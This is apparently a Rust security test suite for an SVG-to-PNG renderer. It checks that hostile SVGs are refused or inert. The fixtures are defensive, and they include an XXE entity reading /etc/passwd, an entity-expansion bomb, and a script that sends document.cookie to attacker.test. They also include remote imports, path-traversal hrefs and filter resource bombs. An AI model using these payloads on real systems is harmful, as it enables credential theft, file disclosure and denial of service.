use std::collections::HashMap;
use std::sync::Arc;
use super::*;
fn fonts() -> FontSet {
FontSet::bundled()
}
fn empty_resolver() -> Resolver {
Resolver::new(Arc::new(MemoryStore(HashMap::new())))
}
fn png(svg: &str) -> Result<Rendered, ConvertError> {
convert(svg, &fonts(), &empty_resolver(), &Target::default(), OutputFormat::Png, 82)
}
fn centre(r: &Rendered) -> [u8; 4] {
let img = image::load_from_memory(&r.bytes).unwrap().to_rgba8();
img.get_pixel(img.width() / 2, img.height() / 2).0
}
#[test]
fn an_external_entity_cannot_read_a_file_and_an_entity_bomb_cannot_expand() {
let xxe = r#"<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><text x="0" y="50" font-family="Inter">&xxe;</text></svg>"#;
let err = png(xxe).unwrap_err();
assert_eq!(err.kind, ConvertErrorKind::Source);
assert!(err.message.contains("DTD"), "{}", err.message);
let bomb = r#"<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><text>&c;</text></svg>"#;
assert!(png(bomb).unwrap_err().message.contains("DTD"));
let illustrator = r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><rect width="10" height="10" fill="rgb(255,0,0)"/></svg>"#;
assert_eq!(centre(&png(illustrator).expect("a plain doctype is harmless")), [255, 0, 0, 255]);
let subset = r#"<!DOCTYPE svg [<!ENTITY a "x">]><svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"/>"#;
assert!(png(subset).unwrap_err().message.contains("internal DTD subset"));
}
#[test]
fn a_script_a_stylesheet_import_and_a_webfont_are_inert_and_the_picture_still_draws() {
let hostile = r#"<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>fetch("http://attacker.test/" + document.cookie)</script>
<style>@import url("http://attacker.test/x.css"); @font-face { font-family: E; src: url("http://attacker.test/f.ttf"); }</style>
<a href="javascript:alert(1)"><rect width="100" height="100" fill="rgb(255,0,0)"/></a>
</svg>"#;
let out = png(hostile).expect("renders");
assert_eq!(centre(&out), [255, 0, 0, 255], "the rect drew; the script and the import did not");
}
#[test]
fn every_road_to_a_remote_or_local_file_is_refused_or_answers_nothing() {
for href in [
"http://attacker.test/a.png",
"https://attacker.test/a.png",
"//attacker.test/a.png",
"file:///etc/passwd",
"data:image/png;base64,iVBORw0KGgo=",
"../../../etc/passwd",
"/etc/passwd",
"zebfs://../../secret.png",
"repo://pages/home.tsx",
] {
let svg = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><image href="{href}" width="10" height="10"/></svg>"#
);
let err = png(&svg).unwrap_err();
assert_eq!(err.kind, ConvertErrorKind::Source, "{href}");
assert!(err.message.contains("picture"), "{href}: {}", err.message);
}
let sneaky = r#"<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<use href="http://attacker.test/a.svg#x"/>
<filter id="f"><feImage href="http://attacker.test/a.png"/></filter>
<rect width="100" height="100" fill="rgb(0,255,0)"/>
</svg>"#;
let out = png(sneaky).expect("renders");
assert_eq!(centre(&out), [0, 255, 0, 255], "the rect drew; nothing was fetched");
}
#[test]
fn a_picture_the_resolver_never_fetched_is_not_drawn_from_anywhere_else() {
let mut map = HashMap::new();
map.insert(Source::Store("real.png".into()), test_support::solid_png(4, 4, [0, 0, 255]));
let resolver = Resolver::new(Arc::new(MemoryStore(map)));
let svg = r#"<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><image href="real.png" width="20" height="20"/></svg>"#;
assert!(convert(svg, &fonts(), &resolver, &Target::default(), OutputFormat::Png, 82).is_ok());
let opt = fonts().options();
assert!(resolver.image_kind("never-asked-for.png", &opt).is_none());
assert!(resolver.image_kind("http://attacker.test/a.png", &opt).is_none());
assert!(resolver.image_kind("file:///etc/passwd", &opt).is_none());
}
#[test]
fn the_work_is_bounded_in_source_size_canvas_and_nesting() {
let fonts = fonts();
let resolver = empty_resolver();
let big = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><!--{}--><rect width="10" height="10"/></svg>"#,
"x".repeat(MAX_SVG_BYTES)
);
assert!(png(&big).unwrap_err().message.contains("limit"));
let small = r#"<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><rect width="10" height="10"/></svg>"#;
let err = convert(small, &fonts, &resolver, &Target { width: Some(8000), height: Some(8000), fit: Fit::Fill }, OutputFormat::Png, 82).unwrap_err();
assert!(err.message.contains("cap"), "{}", err.message);
let deep = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20">{}<rect width="20" height="20" fill="rgb(255,0,0)"/>{}</svg>"#,
"<g>".repeat(4000),
"</g>".repeat(4000)
);
let started = std::time::Instant::now();
let err = png(&deep).unwrap_err();
assert_eq!(err.kind, ConvertErrorKind::Source);
assert!(err.message.contains("deep"), "{}", err.message);
assert!(started.elapsed().as_secs() < 5, "refusing deep nesting took {:?}", started.elapsed());
let ordinary = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20">{}<rect width="20" height="20" fill="rgb(255,0,0)"/>{}</svg>"#,
"<g>".repeat(30),
"</g>".repeat(30)
);
assert_eq!(centre(&png(&ordinary).expect("30 deep is ordinary")), [255, 0, 0, 255]);
}
#[test]
fn a_filter_that_would_run_away_with_the_thread_is_refused_before_it_starts() {
let bomb = r#"<svg xmlns="http://www.w3.org/2000/svg" width="1080" height="1350">
<filter id="f" x="-100%" y="-100%" width="300%" height="300%">
<feTurbulence baseFrequency="0.002" numOctaves="8"/>
<feGaussianBlur stdDeviation="500"/>
</filter>
<rect width="1080" height="1350" filter="url(#f)" fill="rgb(255,0,0)"/>
</svg>"#;
let started = std::time::Instant::now();
let err = png(bomb).unwrap_err();
assert_eq!(err.kind, ConvertErrorKind::Source);
assert!(err.message.contains("filter #f"), "{}", err.message);
assert!(started.elapsed().as_millis() < 500, "refusing took {:?}", started.elapsed());
}
#[test]
fn the_most_expensive_filter_still_allowed_stays_within_its_budget() {
let worst = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" width="1080" height="1350">
<filter id="f" x="-50%" y="-50%" width="200%" height="200%">
<feTurbulence baseFrequency="0.002" numOctaves="{octaves}"/>
<feOffset dx="1" dy="1"/>
</filter>
<rect width="1080" height="1350" filter="url(#f)" fill="rgb(255,0,0)"/>
</svg>"#,
octaves = MAX_TURBULENCE_OCTAVES,
);
let started = std::time::Instant::now();
let out = png(&worst).expect("the worst allowed file still renders");
let took = started.elapsed();
eprintln!("worst filter still allowed, 1080x1350: {took:?}, {} bytes", out.bytes.len());
assert!(took.as_secs() < 20, "the worst allowed filter took {took:?}");
let over = worst.replace(r#"<feOffset dx="1" dy="1"/>"#, r#"<feOffset dx="1" dy="1"/><feOffset dx="2" dy="2"/>"#);
let err = png(&over).unwrap_err();
assert!(err.message.contains("costs about") && err.message.contains("limit is 30"), "{}", err.message);
}
#[test]
fn many_modest_filters_are_bounded_even_though_each_one_passes() {
let one = r#"<filter id="f{i}" x="-50%" y="-50%" width="200%" height="200%"><feGaussianBlur stdDeviation="20"/></filter><rect width="1080" height="1350" filter="url(#f{i})" fill="rgb(0,0,255)"/>"#;
let mut body = String::new();
for i in 0..6 {
body.push_str(&one.replace("{i}", &i.to_string()));
}
let many = format!(r#"<svg xmlns="http://www.w3.org/2000/svg" width="1080" height="1350">{body}</svg>"#);
let err = png(&many).unwrap_err();
assert!(err.message.contains("together"), "{}", err.message);
let mut body = String::new();
for i in 0..2 {
body.push_str(&one.replace("{i}", &i.to_string()));
}
let couple = format!(r#"<svg xmlns="http://www.w3.org/2000/svg" width="1080" height="1350">{body}</svg>"#);
assert!(png(&couple).is_ok());
}